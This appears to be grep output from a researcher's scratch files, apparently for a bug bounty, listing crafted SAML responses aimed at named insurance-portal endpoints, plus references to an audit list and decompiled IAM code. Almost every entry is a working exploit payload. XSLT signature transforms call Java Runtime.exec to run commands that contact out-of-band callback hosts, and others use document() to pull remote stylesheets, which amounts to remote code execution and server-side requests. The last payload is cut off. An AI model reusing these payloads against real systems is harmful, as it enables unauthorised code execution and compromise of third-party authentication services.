work/scratch/liferay-critical/xslt-existing.txt:5:work/scratch/saml-xsw/old-xslt/01a1c57f-50c2-7204-a1a1-29fdb7e5b2f2.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process" ID="_r-1bf2f471e80045329cdd1c2aa41d0b5c" Version="2.0" IssueInstant="2026-11-10T12:46:55Z" Destination="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a-d3658e7a73274769b57d97dc908ff5c0" Version="2.0" IssueInstant="2026-11-10T12:46:55Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_a-d3658e7a73274769b57d97dc908ff5c0"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:output method="text"/><xsl:template match="/"><xsl:variable name="runtime" select="rt:getRuntime()"/><xsl:variable name="process" select="rt:exec($runtime, 'getent hosts sxcmd1794314815--3bh.9b.au')"/><xsl:value-of select="proc:waitFor($process)"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>BoUXDb5UMfBZlbgJhpekp1lP6zLvp05QCqYHLmxo7kBT67RJ3pO/tqBouPhEfXdZN5NKcUYIwrhFashkf8Ot2HG7hOlCPEJXFqcPvbBw/DCMiLd15iXC7cW6frCYzHTtVVNMweMfsa4sgopLozwKaXoG+SaTU4rD6/h+O8zhITkl64r2XytzZpYTLdSbcu5rZgkHIPj7qIEq8Ml6C3crGBOS+zR8OGQFlHrE4BMofKl8aJRiYO1bj93hdVPXjF0DH7YmOMJiUuNiEhbAUMDGT7KQNHCLUCC7FR7uIoaHedcCMQRvNBSgi0oBqA40+30uhCA4PyswzJ/nDsJpL+I5uQ==</ds:SignatureValue><ds:KeyInfo><ds:KeyValue><ds:RSAKeyValue><ds:Modulus>uxIjqZRzHRNGDKsLlIm8nHgMIH5N/NliyOxA3VgjEu91+pRBkCE1mUUFxbh4sEEKJdSAGdk1HioHHXSuY4i/78p5cUdzye5EdeHe3I1PYxPFd+ONEg6vxvRrU5BpWSCBKB4sbPM6mafaHvCzddKKSdIi6IkBO7MgdZCgjl3lZCxWQ7ByLKZ4QmzA1m7XeuOaf5oaw0FTjgTfGtpCmlo0MZkRG5m5HWfOfwPS1YXQ4ygv66ugCBXm+qJ71CtD8DZDutK4xygZbBK9rf5am8v7Oe6B6nYLhqtcwNbn2B3mHRbjwCU9zTick0nx3b2Em/zd9FhzAaahiTih61wcRo0qxw==</ds:Modulus><ds:Exponent>AQAB</ds:Exponent></ds:RSAKeyValue></ds:KeyValue><ds:X509Data><ds:X509Certificate>MIIC3zCCAcegAwIBAgIUJjA+k+QIGu+mIM+xQBZ1rQOOyJkwDQYJKoZIhvcNAQELBQAwHzEdMBsGA1UEAwwUYnVnYm91bnR5LWR3YnpuLXhzbHQwHhcNMjYxMTEwMTI0MTU1WhcNMjYxMTExMTI0NjU1WjAfMR0wGwYDVQQDDBRidWdib3VudHktZHdiem4teHNsdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALsSI6mUcx0TRgyrC5SJvJx4DCB+TfzZYsjsQN1YIxLvdfqUQZAhNZlFBcW4eLBBCiXUgBnZNR4qBx10rmOIv+/KeXFHc8nuRHXh3tyNT2MTxXfjjRIOr8b0a1OQaVkggSgeLGzzOpmn2h7ws3XSiknSIuiJATuzIHWQoI5d5WQsVkOwciymeEJswNZu13rjmn+aGsNBU44E3xraQppaNDGZERuZuR1nzn8D0tWF0OMoL+uroAgV5vqie9QrQ/A2Q7rSuMcoGWwSva3+WpvL+znugep2C4arXMDW59gd5h0W48AlPc04nJNJ8d29hJv83fRYcwGmoYk4oetcHEaNKscCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAUZ32H+o1O47O9A5WvzKJ8tl9YI4hwmZlXym5NoJTxhUej5t5Lb9hrt468s8Hjv1mUs8DMOLRrcd9LgsHERca0lRpZS13NEf5oZzdufVbTgqmGxEG3GtdDG4Ta/DzNdhZn81DczOnVJ23PuAtbYXBgRz2SYR9ip9vSAgi6X5bGVVs9ApAheYyV1wxbeAtPQPLZYl1aeRPtJagMYzrGjZsy5IsK1HfPmSnTf4wqkXVCcHB93gJgQFKMuWVI51owBdSsWMi2anTyB1luqBd0WUEBPrqAY+ifIjJ2Y5KszFZeTVH7MRZ7U2QCAcGA8z7+sk0puGJmkyFK/FusKkC0Q+lNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2026-11-10T12:56:55Z" Recipient="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-10T12:44:55Z" NotOnOrAfter="2026-11-10T12:56:55Z"><saml:AudienceRestriction><saml:Audience>https://mein-portal.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AttributeStatement><saml:Attribute Name="UserToken"><saml:AttributeValue>bugbounty-user-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="SessionToken"><saml:AttributeValue>bugbounty-session-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="Identifier"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
work/scratch/liferay-critical/xslt-existing.txt:6:work/scratch/saml-xsw/old-xslt/01a1c487-062e-72be-b48c-146248d59717.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_bugbounty" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>easy-login</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_bugbounty"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:copy-of select="document('https://ipxslt105041794298539--3at.9b.au/xslt-2')"/></xsl:template></xsl:stylesheet></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>easy-login</saml:Issuer><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>
work/scratch/liferay-critical/xslt-existing.txt:7:work/scratch/saml-xsw/old-xslt/01a1c4b3-ecad-744a-a2d9-f396fd40fc3f.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" ID="_SecurityTest-bugbounty-dwbzn" Version="2.0" IssueInstant="2026-11-10T09:04:46Z" Destination="https://infoportal.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_SecurityTest-bugbounty-dwbzn"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0" exclude-result-prefixes="rt"><xsl:template match="/"><xsl:variable name="runtime" select="rt:getRuntime()"/><xsl:variable name="process" select="rt:exec($runtime, 'getent hosts i2xr090445d9b9--3at.9b.au')"/><xsl:text>Security Test bugbounty dwbzn</xsl:text></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>d7jrBzoYu9Jlvlz6uGHWC2IKc5ylcULOgkLhnFSLwYNFmgWEbahri+tZMDCvGVx3mIvD+34g8ybqbDVBslty1EkeGMSxnSRs46ljVSle9Pr8WpUaqtIeL0ghSmNZqsnFKdvT3fv/nxdl01D0hzaNO8OMMyZMzEU4xUQIvF4pO7+dHBwBuy6HUUiTSwaKX83wSAmhxs3KS0wYHy3/pJGJZmCcelAjy2FevUewsgwHUuVhRPqaDLNlIE2WqPMDZxA8Q5yKyTBXymn3Yy2GhQZnGYzg20Wm6gQrR9kCc82fr6ZNnrGI+G1m4gizfgs2ZvsO06++Lmz+TIjwk1r6ntTBEw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDRTCCAi2gAwIBAgIUJcA535RhzNFI6Qq0twEehkwOdDcwDQYJKoZIhvcNAQELBQAwMjEYMBYGA1UEAwwPYnVnYm91bnR5LWR3YnpuMRYwFAYDVQQKDA1TZWN1cml0eSBUZXN0MB4XDTI2MTExMDA4MTYzNloXDTI2MTExMjA4MTYzNlowMjEYMBYGA1UEAwwPYnVnYm91bnR5LWR3YnpuMRYwFAYDVQQKDA1TZWN1cml0eSBUZXN0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmYWzxWwy5sXS+4u1FXaIH3GgzJFvgAJwZUpjU/wI6pJWqNkXKAXqbzNSRnMvp0WLrBBw0/bOkc6DtNym9L2uL42vyb5i72XyT7etYzvs84YKfBOibKARZ+mFbQGC1H7vBakUd5fl5wewEImRX3UizPJRBREk2MHa5mPYXuqKQyHvMDcE5sXd29H+sUOLdMm8wdlbhjJeexxovlr0zVrSoIgHy5ruYD10ml7tOJ3TmGE9wS8usmutuR/BkYM1oZEMJl5zNNaS8TsaO3v7GNPJCLES0EE7uw4M+0t6YPhazszSIxb6Oh1Cm6nidhcO96gY9IDjvPfW04ZUWbAMjIJOiQIDAQABo1MwUTAdBgNVHQ4EFgQU1YwoN4intcpHdhVKvwCveVaDu2EwHwYDVR0jBBgwFoAU1YwoN4intcpHdhVKvwCveVaDu2EwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAOXE4XPpn+yyekH84hQ/YWngQYryRf4+ckfn65c00mZ3zUP5C92JdUtNtAZP07+/IC3YdaeeaMHuZYTYT0V03tmQN76R59v81XJeI2GM0ZHLa9fr5i9RGcfXnS1SxQ7T2ek74mj3OFQNtYgnC1mfpL0rQyeuXdhYbmc/QAgdEsJFKwMYPmGNyAD1N9C9k8ysgXFazFIxtoFltWKMlazE8dZNK+Qey04uMot7B910hMBt79OuyQi1da1aIurExA4g4FMWOmM/h/p9Rx1oY4IuNjoeGARi2AWZ6IlsmuKQVPIx0d4JkRq5cD5X+SzIy+1rWMDq9eG9yW7htHURI81z+ww==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a" Version="2.0" IssueInstant="2026-11-10T09:04:46Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>
work/scratch/liferay-critical/xslt-existing.txt:8:work/scratch/saml-xsw/old-xslt/01a1c486-fdfb-720f-9fb1-827aebe90e14.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_bugbounty" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>https://www.easy-login.de</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_bugbounty"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:copy-of select="document('https://ipxslt105041794298539--3at.9b.au/xslt-1')"/></xsl:template></xsl:stylesheet></ds:Transform><ds
work/scratch/airlock-audit/dangerous-sinks.txt:1085:## XML/XSLT
work/source-derived/airlock-iam-8.6.1/decompiled/com/airlock/iam/saml2/application/configuration/SamlFederationConfig.java:156:            "http://www.w3.org/TR/1999/REC-xslt-19991116",